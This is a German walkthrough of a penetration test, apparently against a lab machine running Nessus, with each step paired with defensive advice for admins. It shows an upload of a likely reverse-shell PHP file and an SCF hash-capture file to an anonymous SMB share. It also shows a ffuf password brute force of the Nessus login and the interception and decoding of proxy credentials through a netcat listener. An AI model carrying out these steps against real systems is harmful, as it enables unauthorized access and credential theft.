Empfehlung (Pentester): Wenn Schreiben auf eine anonyme Freigabe möglich ist, lade Payloads, Tools oder Webshells hoch. Untersuche, ob die Freigabe vom Webserver bereitgestellt wird oder ob du hochgeladene Dateien über die LFI-Schwachstelle erreichen und ausführen kannst.
Empfehlung (Admin): Deaktiviere Schreibzugriff für anonyme Benutzer auf SMB-Shares. Implementiere strikte Berechtigungen.
Try "help" to get a list of possible commands. smb: \> put rev.php putting file rev.php as \rev.php (0,1 kb/s) (average 0,1 kb/s) smb: \> ls . DR 0 Fri Jun 27 23:16:53 2025 .. D 0 Sat Oct 19 07:08:23 2024 crackmich.scf A 53 Fri Jun 27 23:45:12 2025 desktop.ini AHS 402 Sat Jun 15 19:54:33 2024 My Basic Network Scan_hwhm7q.pdf A 122006 Sat Oct 19 00:19:59 2024 My Music DHSrn 0 Sat Jun 15 19:54:27 2024 My Pictures DHSrn 0 Sat Jun 15 19:54:27 2024 My Videos DHSrn 0 Sat Jun 15 19:54:27 2024 rev.php A 31 Fri Jun 27 23:16:53 2025 Web Application Tests_f6jg9t.pdf A 136025 Sat Oct 19 00:20:14 2024 12942591 blocks of size 4096. 10714879 blocks available
Analyse: Ich führe einen weiteren Fuzzing-Scan mit feroxbuster durch, diesmal gezielt gegen die Nessus-Oberfläche auf Port 8834 (HTTPS) mit der Option -k, um Zertifikatsfehler zu ignorieren. Ich verwende eine Standard-Web-Content-Wortliste und verschiedene Erweiterungen. Die URL enthält /#/, was auf eine Single-Page Application hindeutet, bei der die Pfade nach dem Hash-Symbol vom Client-seitigen JavaScript verarbeitet werden. Die Ausgabe zeigt viele Statuscodes (404, 405, 401, 403, 200) für verschiedene Pfade wie /images, /tenable_links.css, /wizard_templates.css, /nessus6.css, /nessus6.js, /api, /session etc. Besonders interessant sind Pfade wie /session (oft für Login/Logout), /users, /policies, /scanners, /settings und /api, die auf die API-Struktur hindeuten. Die Statuscodes 401 (Unauthorized) und 403 (Forbidden) für einige dieser Pfade sind zu erwarten, da ich nicht angemeldet bin.
Bewertung: Dieser Scan war sehr erfolgreich bei der Entdeckung von API-Endpunkten und relevanten Dateien auf der Nessus-Oberfläche. Die Pfade wie `/session` und `/api` sind entscheidend für die Interaktion mit der Nessus-API, die potenziell zur Authentifizierung oder zur Ausnutzung von Schwachstellen genutzt werden können. Die hohe Anzahl an gefundenen Endpunkten rechtfertigt weitere Untersuchung.
Empfehlung (Pentester): Analysiere die gefundenen Endpunkte, insbesondere solche, die auf API-Funktionalität hindeuten (/api, /session, /users etc.). Versuche, die Funktionsweise der API zu verstehen. Konzentriere dich auf die Authentifizierungsendpunkte.
Empfehlung (Admin): Schütze Nessus-API-Endpunkte streng. Überwache Zugriffe auf API-Pfade auf ungewöhnliche Muster (z.B. Brute-Force auf /session).
___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ https://192.168.2.65:8834/#/ 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [git, php, html, xml, zip, 7z, tar, bak, sql, py, pl, txt, jpg, jpeg, png, js, aac, ogg, flac, alac, wav, aiff, dsd, mp3, mp4, mkv, phtml] 🏁 HTTP methods │ [GET] 🔓 Insecure │ true 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 1l 6w 45c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 405 GET 1l 9w 61c https://192.168.2.65:8834/images 200 GET 0l 0w 0c https://192.168.2.65:8834/tenable_links.css 200 GET 209l 260w 275506c https://192.168.2.65:8834/wizard_templates.css 200 GET 97l 6068w 765581c https://192.168.2.65:8834/nessus6.css 200 GET 66l 7409w 469589c https://192.168.2.65:8834/pendo-client.js 200 GET 113l 63386w 3618066c https://192.168.2.65:8834/nessus6.js 200 GET 23l 76w 1217c https://192.168.2.65:8834/ 401 GET 1l 9w 55c https://192.168.2.65:8834/events 405 GET 1l 9w 61c https://192.168.2.65:8834/tools 403 GET 1l 3w 31c https://192.168.2.65:8834/users 200 GET 133l 293w 21074c https://192.168.2.65:8834/welcome.html 405 GET 1l 9w 61c https://192.168.2.65:8834/reports 405 GET 1l 9w 61c https://192.168.2.65:8834/registration 405 GET 1l 9w 61c https://192.168.2.65:8834/node 200 GET 23l 76w 1217c https://192.168.2.65:8834/flash.html 401 GET 1l 9w 55c https://192.168.2.65:8834/policies 405 GET 1l 9w 61c https://192.168.2.65:8834/plugins 403 GET 1l 3w 31c https://192.168.2.65:8834/groups 405 GET 1l 9w 61c https://192.168.2.65:8834/server 405 GET 1l 9w 61c https://192.168.2.65:8834/file 200 GET 1l 306w 19001c https://192.168.2.65:8834/nessus6-api.css 200 GET 10l 5051w 312239c https://192.168.2.65:8834/nessus6-api.js 200 GET 14l 36w 491c https://192.168.2.65:8834/api 401 GET 1l 9w 55c https://192.168.2.65:8834/scanners 405 GET 1l 9w 61c https://192.168.2.65:8834/settings 200 GET 133l 293w 21074c https://192.168.2.65:8834/Welcome.html 405 GET 1l 9w 61c https://192.168.2.65:8834/remote 405 GET 1l 9w 61c https://192.168.2.65:8834/editor 401 GET 1l 9w 55c https://192.168.2.65:8834/migration 405 GET 1l 9w 61c https://192.168.2.65:8834/permissions [>-------------------] - 8m 259320/12351136 6h found:31 errors:1 🚨 Caught ctrl+c 🚨 saving scan state to ferox-https_192_168_2_65:8834_#_-1751059108.state ... [>-------------------] - 8m 259327/12351136 6h found:31 errors:1 [>-------------------] - 8m 129612/6175344 271/s https://192.168.2.65:8834/#/ [>-------------------] - 8m 128100/6175344 268/s https://192.168.2.65:8834/
Analyse: Ich verwende Nikto, um einen automatisierten Schwachstellen-Scan auf der Nessus-Oberfläche auf Port 8834 (HTTPS) durchzuführen (nikto -h https://192.168.2.65:8834). Die Ausgabe bestätigt das SSL-Zertifikat (CN=WIN-C05BOCC7F0H) und den Server NessusWWW. Es meldet eine Zertifikats-Warnung, da der Hostname (IP-Adresse) nicht mit dem CN im Zertifikat übereinstimmt (Hostname '192.168.2.65' does not match certificate's names: WIN-C05BOCC7F0H). Nikto findet auch fehlende Sicherheits-Header (X-Content-Type-Options) und potenzielle Schwachstellen, die für ColdFusion und Abyss relevant sind (/nul.cfm, /nul.dbm, viele Slashes), obwohl Nessus keine dieser Technologien verwendet. Diese letzten Treffer scheinen generische Tests von Nikto zu sein, die hier falsch-positive Ergebnisse liefern oder nicht anwendbar sind. Der Scan bricht aufgrund eines Fehlerlimits ab (ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect: Connect failed: ; Connection refused).
Bewertung: Nikto liefert nützliche Informationen über das Zertifikat und fehlende Header. Die generischen Schwachstellentests für ColdFusion etc. sind hier irrelevant und deuten auf Einschränkungen des Scanners bei unbekannten Zielen hin. Die Zertifikatswarnung ist typisch für selbstsignierte Zertifikate, aber nicht direkt ausnutzbar. Der Abbruch des Scans kann an der spezifischen API-Struktur von Nessus liegen, mit der Nikto nicht umgehen kann.
Empfehlung (Pentester): Nutze automatisierte Scanner, aber bewerte die Ergebnisse kritisch, insbesondere bei unbekannten oder nicht-Standard-Webanwendungen. Konzentriere dich auf manuelle Tests und die Analyse der API, wenn Scanner fehlschlagen oder unzuverlässige Ergebnisse liefern.
Empfehlung (Admin): Verwende gültige SSL/TLS-Zertifikate. Beachte Zertifikatswarnungen. Behebe fehlende Sicherheits-Header.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.65 + Target Hostname: 192.168.2.65 + Target Port: 8834 --------------------------------------------------------------------------- + SSL Info: Subject: /O=Nessus Users United/OU=Nessus Server/L=New York/C=US/ST=NY/CN=WIN-C05BOCC7F0H Ciphers: TLS_AES_256_GCM_SHA384 Issuer: /O=Nessus Users United/OU=Nessus Certification Authority/L=New York/C=US/ST=NY/CN=Nessus Certification Authority + Start Time: 2025-06-27 23:20:33 (GMT2) --------------------------------------------------------------------------- + Server: NessusWWW + No CGI Directories found (use '-C all' to force check all possible dirs) + Hostname '192.168.2.65' does not match certificate's names: WIN-C05BOCC7F0H. See: [Link: 297.html | Ziel: https://cwe.mitre.org/data/definitions/297.html] + /: The Content-Encoding header is set to "deflate" which may mean that the server is vulnerable to the BREACH attack. See: [Link: http://breachattack.com/ | Ziel: http://breachattack.com/] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: missing-content-type-header | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + /nul.cfm: ColdFusion 5.0 and below, 4.0-5.0 reveal file system paths of .cfm or .dbm files when the request contains invalid DOS devices. [Link: CVE-2002-0576 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0576]. KPMG-2002013. [Link: http://www.securityfocus.com/bid/4542 | Ziel: http://www.securityfocus.com/bid/4542]. [Link: http://www.macromedia.com/v1/handlers/index.cfm?ID=22906 | Ziel: http://www.macromedia.com/v1/handlers/index.cfm?ID=22906]. See: [Link: CVE-2002-0576 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0576] + /nul.dbm: ColdFusion 5.0 and below, 4.0-5.0 reveal file system paths of .cfm or .dbm files when the request contains invalid DOS devices. [Link: CVE-2002-0576 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0576]. KPMG-2002013. [Link: http://www.securityfocus.com/bid/4542 | Ziel: http://www.securityfocus.com/bid/4542]. [Link: http://www.macromedia.com/v1/handlers/index.cfm?ID=22906 | Ziel: http://www.macromedia.com/v1/handlers/index.cfm?ID=22906]. See: [Link: CVE-2002-0576 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0576] + ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect: Connect failed: ; Connection refused at /var/lib/nikto/plugins/LW2.pm line 5254. : Connection refused + Scan terminated: 20 error(s) and 5 item(s) reported on remote host + End Time: 2025-06-27 23:22:53 (GMT2) (140 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Initial Access
Analyse: Ich untersuche die Metadaten einer der über SMB heruntergeladenen PDF-Dateien (My Basic Network Scan_hwhm7q.pdf) mit exiftool. Metadaten können Informationen über den Ersteller, das verwendete Programm, das Erstellungsdatum und manchmal sogar versteckte Kommentare oder Details enthalten. Die Ausgabe von exiftool zeigt verschiedene Informationen, darunter das File Name, File Size, File Modification Date/Time etc. Besonders interessant ist das Feld Author, das den Wert "Jose" enthält.
Bewertung: Die Identifizierung des Autors "Jose" in den Metadaten der PDF-Datei ist ein wichtiger Fund. "Jose" ist ein potenzieller Benutzername auf dem System. Die Kenntnis dieses Benutzernamens kann für Brute-Force-Angriffe (SMB, RDP, Nessus-Login) oder zur Nutzung gefundener Anmeldedaten relevant sein.
Empfehlung (Pentester): Analysiere Metadaten von Dokumenten, Bildern oder anderen Dateien, die du auf dem Zielsystem findest. Nutze Tools wie exiftool oder Online-Metadaten-Viewer. Suche nach Benutzernamen, Computernamen, Speicherorten oder Hinweisen auf die Systemstruktur oder verwendete Software.
Empfehlung (Admin): Entferne Metadaten aus Dokumenten, insbesondere aus öffentlich zugänglichen Dateien, um die Preisgabe von Informationen zu vermeiden. Verwende Tools zur Metadatenbereinigung.
ExifTool Version Number : 13.25 File Name : My Basic Network Scan_hwhm7q.pdf Directory : . File Size : 122 kB File Modification Date/Time : 2025:06:27 23:14:52+02:00 File Access Date/Time : 2025:06:27 23:30:13+02:00 File Inode Change Date/Time : 2025:06:27 23:14:52+02:00 File Permissions : -rw-r--r-- ... .. Format : application/pdf Language : x-unknown --------------------------------------------------------------------- Author : Jose --------------------------------------------------------------------- PDF Version : 1.4 Producer : Apache FOP Version 2.8 Create Date : 2024:10:18 15:10:05+02:00 Creator Tool : Apache FOP Version 2.8 Metadata Date : 2024:10:18 15:10:05+02:00 Page Mode : UseOutlines Creator : Apache FOP Version 2.8
Analyse: Ich suche auf Exploit-Databases nach bekannten Remote Code Execution (RCE) Schwachstellen für PHP Version 5.6, da der Apache Webserver PHP 7.2.0 verwendet, aber es könnte ältere Installationen oder Konfigurationen geben, die PHP 5.6 betreffen, oder ich mache einen breiteren Suchlauf. Der Befehl searchsploit php 5.6 rce sucht in der lokalen Exploit-Database-Kopie. Die Ausgabe zeigt einen Treffer: "Kerio WinRoute Firewall Web Server < 6 - Source Code Disclo | php/webapps/18857.txt".
Bewertung: Das Auffinden eines RCE-Exploits für PHP 5.6 ist relevant, wenn das Ziel tatsächlich eine so alte PHP-Version irgendwo anders betreibt oder eine falsch positive Identifizierung vorlag. Der gefundene Exploit scheint für Kerio WinRoute Firewall zu sein, was auf diesem System (Windows Server mit Apache/Nessus) wahrscheinlich nicht zutrifft. Es ist wichtig, die Ergebnisse von Exploit-Datenbanken kritisch zu prüfen und auf das spezifische Zielsystem anzuwenden. Da die LFI bereits einen einfachen Weg zu Informationen öffnet, ist dieser Exploit weniger relevant für den aktuellen Fall.
Empfehlung (Pentester): Suche auf Exploit-Datenbanken nach bekannten Schwachstellen für alle identifizierten Dienste und Versionen. Prüfe die Anwendbarkeit der gefundenen Exploits auf das spezifische Zielsystem.
Empfehlung (Admin): Halte alle Softwarekomponenten (Webserver, PHP, etc.) aktuell, um bekannte Schwachstellen zu vermeiden.
------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------ --------------------------------- Kerio WinRoute Firewall Web Server < 6 - Source Code Disclo | php/webapps/18857.txt ------------------------------------------------------------ --------------------------------- Shellcodes: No Results
Analyse: Ich erstelle eine SCF-Datei namens `crackmich.scf` (wahrscheinlich ein Tippfehler und sollte `crackmapexec.scf` oder ähnlich sein, oder ein benutzerdefinierter Name). SCF-Dateien können dazu missbraucht werden, SMB-Authentifizierungsversuche auszulösen, wenn ein Benutzer den Ordner öffnet, der die Datei enthält. Der Inhalt einer solchen Datei würde einen UNC-Pfad zu einer Ressource auf meinem Kali-System enthalten, die eine SMB-Verbindung erfordert. Ich navigiere in mein Arbeitsverzeichnis (`cd nessus`). Ich erstelle die Datei mit `vi crackmich.scf` (der Inhalt selbst ist nicht im Log). Dann lade ich die Datei über SMB in die anonym zugängliche `Documents`-Freigabe hoch (smbclient //192.168.2.65/Documents -N gefolgt von put crackmich.scf). Der ls Befehl bestätigt den erfolgreichen Upload von crackmich.scf (53 Bytes).
Bewertung: Das Hochladen einer bösartigen SCF-Datei in eine öffentlich zugängliche SMB-Freigabe ist eine Technik, um Benutzer zur SMB-Authentifizierung zu zwingen, wenn sie den Ordner öffnen. Wenn ein Benutzer (insbesondere ein privilegierter wie Administrator) die `Documents`-Freigabe öffnet, könnte sein System versuchen, sich mit meinem Kali-System zu authentifizieren, wobei ich den Hash des Benutzers abfangen kann. Dies ist ein potenzieller Weg, um einen Benutzer-Hash zu erlangen.
Empfehlung (Pentester): Nutze öffentlich zugängliche Shares, um bösartige Dateien zu platzieren, die Benutzer zur Ausführung oder Authentifizierung zwingen (SCF, LNK, HTA etc.). Richte einen Listener (Responder.py, ntlmrelayx.py) auf deinem System ein, um die Hashes abzufangen.
Empfehlung (Admin): Deaktiviere anonymen SMB-Zugriff. Deaktiviere NTLMv1 und erzwinge NTLMv2 oder Kerberos. Implementiere SMB-Signierung. Schärfe Richtlinien für die Verarbeitung von SCF/LNK-Dateien.
Try "help" to get a list of possible commands. smb: \> put crackmich.scf putting file crackmich.scf as \crackmich.scf (0,1 kb/s) (average 0,1 kb/s) smb: \> ls . DR 0 Fri Jun 27 23:45:12 2025 .. D 0 Sat Oct 19 07:08:23 2024 crackmich.scf A 53 Fri Jun 27 23:45:12 2025 desktop.ini AHS 402 Sat Jun 15 19:54:33 2024 My Basic Network Scan_hwhm7q.pdf A 122006 Sat Oct 19 00:19:59 2024 My Music DHSrn 0 Sat Jun 15 19:54:27 2024 My Pictures DHSrn 0 Sat Jun 15 19:54:27 2024 My Videos DHSrn 0 Sat Jun 15 19:54:27 2024 Web Application Tests_f6jg9t.pdf A 136025 Sat Oct 19 00:20:14 2024 12942591 blocks of size 4096. 10716661 blocks available
Privilege Escalation
Analyse: Basierend auf der Feroxbuster-Ausgabe, die den Endpunkt /session auf der Nessus-API auf Port 8834 identifiziert hat, versuche ich, die Login-API zu verstehen, um Anmeldedaten zu testen. Der hier gezeigte Request (`POST /session HTTP/1.1`) zeigt, dass der Login über eine POST-Anfrage an den `/session` Endpunkt erfolgt. Der `Content-Type` ist application/json, was bedeutet, dass Benutzername und Passwort im JSON-Body gesendet werden. Der Body enthält {"username":"jose","password":"jose"} – dies ist wahrscheinlich eine Beispielanfrage oder ein Testversuch mit dem Benutzernamen "jose", den ich aus den PDF-Metadaten extrahiert habe, und einem Standardpasswort. Der Header X-Api-Token: 3d27a65d-e7eb-40a0-8931-1d086d046d29 ist ebenfalls vorhanden, was darauf hindeutet, dass API-Aufrufe ein Token erfordern könnten, obwohl er hier im Login-Request selbst gesendet wird, was ungewöhnlich ist. Es könnte ein fester API-Schlüssel oder ein Hinweis sein.
Bewertung: Die Analyse der Login-Anfrage-Struktur ist entscheidend. Das Wissen, dass der Login über POST an `/session` mit JSON-Body (username/password) erfolgt, ermöglicht mir, Brute-Force-Angriffe gegen diesen Endpunkt durchzuführen. Die Entdeckung des Benutzernamens "jose" aus den PDF-Metadaten und das Vorhandensein des API-Tokens sind wichtige Puzzleteile.
Empfehlung (Pentester): Analysiere die API-Struktur und die Authentifizierungsmechanismen von Webanwendungen mit einem Web-Proxy. Führe gezielte Brute-Force-Angriffe gegen den Login-Endpunkt mit gesammelten Benutzernamen und Wortlisten durch. Untersuche alle Header auf potenziell sensible Informationen oder API-Schlüssel.
Empfehlung (Admin): Implementiere Ratenbegrenzung und Account-Sperrmechanismen für API-Login-Endpunkte. Verwende sichere API-Schlüsselverwaltung und vermeide das Einbetten von Schlüsseln in client-seitigem Code oder Requests. Logge fehlgeschlagene Login-Versuche.
POST /session HTTP/1.1 Host: 192.168.2.65:8834 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json X-Api-Token: 3d27a65d-e7eb-40a0-8931-1d086d046d29 Content-Length: 37 Origin: https://192.168.2.65:8834 Referer: https://192.168.2.65:8834/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers Connection: keep-alive {"username":"jose","password":"jose"}
Analyse: Ich führe einen Brute-Force-Angriff gegen den Nessus API Login-Endpunkt auf Port 8834 (HTTPS) mit dem Tool ffuf durch. Ich ziele auf die URL https://192.168.2.65:8834/session ab (-u) und verwende die POST-Methode (-X POST). Ich setze die notwendigen Header (`Content-Type: application/json`, `X-Api-Token: 3d27a65d-e7eb-40a0-8931-1d086d046d29` - dieser Token könnte aus dem JS-Code extrahiert worden sein oder war im Request-Beispiel sichtbar). Die Daten (`-d`) sind die JSON-Anfrage `{"username":"jose","password":"FUZZ"}`. Das Wortlisten-Fuzzing (`-w /usr/share/wordlists/rockyou.txt`) ersetzt das `FUZZ` im Passwortfeld durch Einträge aus der rockyou.txt Wortliste. Ich filtere auf den Statuscode 200 OK (`-mc 200`), da ein erfolgreicher Login wahrscheinlich einen 200er Status zurückgibt. Die Ausgabe zeigt einen Treffer: Die Payload tequiero lieferte den Status 200. Dies ist das Passwort für den Benutzer "jose". Der Scan wurde manuell abgebrochen (`Caught keyboard interrupt (Ctrl-C)`) nach dem Fund.
Bewertung: Fantastisch! Das Brute-Forcing des Nessus-Logins war erfolgreich und lieferte die Anmeldedaten jose:tequiero. Die Kombination aus dem Benutzernamen aus Metadaten, der Analyse der API-Anfrage und einem gezielten Wortlistenangriff führte zum Erfolg. Ich habe nun Administratorrechte (oder zumindest hohe Rechte) auf der Nessus-Instanz.
Empfehlung (Pentester): Führe Brute-Force-Angriffe gegen Login-Endpunkte durch, wenn keine Account-Sperre existiert. Nutze gesammelte Benutzernamen und relevante Wortlisten. Passe die Requests genau an die API-Struktur an.
Empfehlung (Admin): Implementiere Account-Sperrmechanismen für die Nessus-Login-Oberfläche und API. Erzwinge starke Passwörter. Überwache fehlgeschlagene Login-Versuche.
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : https://192.168.2.65:8834/session
:: Wordlist : FUZZ: /usr/share/wordlists/rockyou.txt
:: Header : Content-Type: application/json
:: Header : X-Api-Token: 3d27a65d-e7eb-40a0-8931-1d086d046d29
:: Data : {"username":"jose","password":"FUZZ"}
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________
tequiero [Status: 200, Size: 179, Words: 1, Lines: 1, Duration: 1404ms]
:: Progress: [560/14344493] :: Job [1/1] :: 33 req/sec :: Duration: [0:00:18] :: Errors: 0 ::^[WARN] Caught keyboard interrupt (Ctrl-C)
Analyse: Ich habe die Nessus-Anmeldedaten jose:tequiero erhalten und kann mich nun auf der Nessus-Weboberfläche anmelden. Dies ermöglicht mir, Nessus-Einstellungen einzusehen und potenziell für die Privilegieneskalation zu missbrauchen.
Bewertung: Der erfolgreiche Login in die Nessus-Oberfläche mit gefundenen Anmeldedaten ist ein kritischer Schritt. Ich habe nun Zugriff auf ein mächtiges Tool, das mit hohen Privilegien auf dem System läuft. Die Untersuchung der Nessus-Konfiguration nach weiteren Schwachstellen oder Hinweisen ist nun primär.
Empfehlung (Pentester): Untersuche die Konfiguration einer kompromittierten Nessus-Instanz gründlich. Suche nach API-Schlüsseln, gespeicherten Anmeldedaten für Scans, Proxy-Einstellungen, Plugins oder anderen Hinweisen.
Empfehlung (Admin): Schütze Nessus-Zugänge streng. Überprüfe und ändere Standard-Anmeldedaten sofort. Begrenze die Rechte des Nessus-Dienstkontos, wenn möglich.
https://192.168.2.65:8834 jose:tequiero login zu https://192.168.2.65:8834/#/scans/folders/my-scans
Privilege Escalation
Analyse: Das Bild zeigt einen Screenshot der Proxy-Server-Einstellungen innerhalb der Nessus-Weboberfläche, auf die ich mich mit den Anmeldedaten jose:tequiero angemeldet habe. Die Einstellungen zeigen, dass ein Proxy-Server konfiguriert ist: Host 192.168.2.199 und Port 8080 mit Username nesus und Auth Method Auto Detect. Dies ist extrem interessant, da 192.168.2.199 meine Kali-Angreifer-IP ist und Port 8080 ein häufig verwendeter Port für Proxy-Listener ist. Jemand hat Nessus so konfiguriert, dass es über einen Proxy auf meinem System kommuniziert und dabei einen Benutzernamen 'nesus' verwendet.
Bewertung: Fantastisch! Die Proxy-Einstellungen in Nessus sind ein direkter Hinweis auf einen potenziellen Anmeldedaten-Leak. Die Konfiguration eines Proxys, der auf meinem Angreifer-System läuft, bedeutet, dass alle über diesen Proxy laufenden Nessus-Kommunikationen (z.B. Plugin-Updates, externe Konnektivität) von mir abgefangen und analysiert werden können. Der Benutzername 'nesus' ist ebenfalls neu und interessant. Dies ist ein sehr vielversprechender Weg, um weitere Anmeldedaten abzufangen.
Empfehlung (Pentester): Suche in kompromittierten Anwendungen oder Systemen immer nach Proxy-Einstellungen oder anderen Konfigurationen, die auf Verbindungen zu externen Systemen hindeuten. Richte einen Listener auf deinem System ein, um solchen Traffic abzufangen und zu analysieren. Suche nach Anmeldedaten oder API-Schlüsseln im abgefangenen Traffic.
Empfehlung (Admin): Überprüfe die Konfiguration von Anwendungen auf ungewöhnliche Proxy-Einstellungen. Überwache ausgehenden Netzwerkverkehr von kritischen Systemen und Anwendungen. Vermeide die Nutzung von Proxies auf extern kontrollierten Systemen.
Analyse: Ich habe auf meinem Kali-System einen Netcat-Listener auf Port 8080 eingerichtet (nc -lvnp 8080), um den Proxy-Verkehr von Nessus abzufangen. Die Nessus-Instanz ist so konfiguriert, dass sie über diesen Proxy kommuniziert. Die Ausgabe des Listeners zeigt eine eingehende Verbindung vom Zielsystem (192.168.2.65). Die empfangenen Daten zeigen eine CONNECT plugins.nessus.org:443 Anfrage, was bedeutet, dass Nessus versucht, eine Verbindung zum Plugin-Server über meinen Proxy aufzubauen. Die Header zeigen Host: plugins.nessus.org und User-Agent: Nessus/10.7.3. **Wichtig:** In dieser Anfrage ist **kein Proxy-Authorization-Header** sichtbar, obwohl ein Benutzername ("nesus") konfiguriert war und die Auth Method auf "Auto Detect" stand.
Bewertung: Das Abfangen des Proxy-Traffics funktioniert. Die Tatsache, dass Nessus versucht, Plugins zu aktualisieren, ist nützlich. Das Fehlen des Proxy-Authorization-Headers in diesem ersten abgefangenen Request (während die Auth Method auf "Auto Detect" stand) deutet darauf hin, dass Nessus in diesem Modus möglicherweise versucht, sich ohne Anmeldedaten zu verbinden oder einen anderen Mechanismus verwendet, der von Netcat nicht erkannt wird. Ich muss die Proxy-Authentifizierungsmethode in Nessus ändern, um zu versuchen, die Anmeldedaten zu erzwingen.
Empfehlung (Pentester): Analysiere den abgefangenen Proxy-Verkehr gründlich. Wenn keine Anmeldedaten abgefangen werden, versuche, die Authentifizierungsmethode auf dem Zielsystem zu ändern (z.B. von Auto Detect zu Basic), um die Übermittlung der Anmeldedaten zu erzwingen.
Empfehlung (Admin): Überwache den Inhalt von Netzwerkverkehr, der über Proxies läuft, insbesondere auf Anmeldedaten in Klartext oder einfach kodierter Form (wie Basic Auth).
listening on [any] 8080 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.65] 49741 CONNECT plugins.nessus.org:443 HTTP/1.1 Host: plugins.nessus.org Connection: keep-Alive User-Agent: Nessus/10.7.3 Content-Length: 0 Proxy-Connection: Keep-Alive
Analyse: In der Nessus-Weboberfläche ändere ich die Proxy-Authentifizierungsmethode von "Auto Detect" auf "Basic" für den konfigurierten Proxy-Benutzer "nesus" auf 192.168.2.199:8080. Nach der Änderung löse ich Nessus erneut dazu aus, über den Proxy zu kommunizieren (z.B. durch Versuch eines Plugin-Updates oder ähnliches, was nicht explizit im Log gezeigt ist). Der Netcat-Listener auf Port 8080 fängt eine neue Anfrage ab. Diesmal enthält die Anfrage einen Proxy-Authorization: Basic bmVzdXM6WiNKdVhIJHBoLTt2QCxYJm1WKQ== Header. Dies ist ein Base64-kodierter String, der die Anmeldedaten für den Proxy-Benutzer enthält.
Bewertung: Erfolg! Durch das Ändern der Proxy-Authentifizierung auf Basic Auth wurde Nessus gezwungen, die Anmeldedaten base64-kodiert an meinen Proxy zu senden. Ich habe nun den Base64-String abgefangen, der den Benutzernamen und das Passwort für den Proxy-Account enthält. Dies ist ein kritischer Anmeldedaten-Leak.
Empfehlung (Pentester): Wenn Anmeldedaten im Proxy-Verkehr vermutet werden, aber nicht sofort sichtbar sind, versuche, die Authentifizierungsmethode auf dem Zielsystem zu ändern, um die Übermittlung zu erzwingen. Identifiziere gängige Kodierungen (Base64) und dekodiere die gefundenen Strings.
Empfehlung (Admin): Verwende keine Basic Authentication über unverschlüsselte Kanäle (HTTP). Wenn ein Proxy mit Authentifizierung verwendet wird, stelle sicher, dass der Kanal (zwischen Anwendung und Proxy) verschlüsselt ist (HTTPS). Vermeide das Speichern von Anmeldedaten in Klartext oder schwachen Kodierungen in Konfigurationen.
https://192.168.2.65:8834/#/settings/proxy-server Host 192.168.2.199 Port 8080 Username nesus Auth Method Basic
listening on [any] 8080 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.65] 49703 CONNECT plugins.nessus.org:443 HTTP/1.1 Proxy-Authorization: Basic bmVzdXM6WiNKdVhIJHBoLTt2QCxYJm1WKQ== Host: plugins.nessus.org Connection: keep-Alive User-Agent: Nessus/10.7.3 Content-Length: 0 Proxy-Connection: Keep-Alive
Analyse: Ich dekodiere den abgefangenen Base64-String (bmVzdXM6WiNKdVhIJHBoLTt2QCxYJm1WKQ==) mit dem base64 -d Befehl. Der Befehl echo "bmVzdXM6WiNKdVhIJHBoLTt2QCxYJm1WKQ==" -n | base64 -d gibt den String an base64 -d weiter, das ihn dekodiert. Die Ausgabe ist nesus:Z#JuXH$ph-;v@,X&mV). Dies sind die Anmeldedaten im Format Benutzername:Passwort. Der Benutzername ist nesus und das Passwort ist Z#JuXH$ph-;v@,X&mV).
Bewertung: Fantastisch! Ich habe ein Klartext-Passwort für den Benutzer 'nesus' erhalten. Dieses Passwort sieht komplex aus und wäre schwer zu erraten oder zu knacken. Die Preisgabe dieser Anmeldedaten über einen unverschlüsselten Kanal (oder einen Kanal, den ich abfangen konnte) ist eine kritische Schwachstelle. Dies ist wahrscheinlich ein Benutzerkonto auf dem Zielsystem selbst, das für den Proxy-Zugriff konfiguriert wurde.
Empfehlung (Pentester): Dekodiere alle gefundenen Base64-Strings, da sie oft Anmeldedaten oder andere sensible Informationen enthalten. Versuche, die gefundenen Anmeldedaten für andere Dienste auf dem Zielsystem zu verwenden (Pass-the-Hash oder Pass-the-Password).
Empfehlung (Admin): Vermeide das Speichern oder Übertragen von Passwörtern in Klartext oder einfacher Kodierung. Erzwinge verschlüsselte Kommunikationskanäle für Authentifizierung.
nesus:Z#JuXH$ph-;v@,X&mV)
